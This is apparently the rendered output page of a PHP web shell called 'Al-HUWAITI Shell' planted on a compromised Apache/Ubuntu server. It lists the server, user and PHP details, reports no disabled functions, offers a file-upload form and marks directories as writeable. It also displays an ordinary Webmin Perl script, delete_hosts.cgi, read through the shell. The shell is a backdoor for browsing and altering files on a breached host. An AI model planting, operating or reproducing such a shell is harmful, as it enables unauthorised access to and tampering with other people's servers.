hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache/2.4.52 (Ubuntu)
System : Linux HAN2 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : servadmin ( 1000)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
Directory :  /usr/share/webmin/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/webmin/net/delete_hosts.cgi
#!/usr/bin/perl
# Delete several host file entries

require './net-lib.pl';
&error_setup($text{'hdelete_err'});
$access{'hosts'} == 2 || &error($text{'hosts_ecannot'});
&ReadParse();
@d = split(/\0/, $in{'d'});
@d || &error($text{'hdelete_enone'});

# Do the deletions
&lock_file($config{'hosts_file'});
@hosts = &list_hosts();
foreach $d (sort { $b <=> $a } @d) {
	$host = $hosts[$d];
	&delete_host($host);
	}

&unlock_file($config{'hosts_file'});
&webmin_log("delete", "hosts", scalar(@d));
&redirect("list_hosts.cgi");


Al-HUWAITI Shell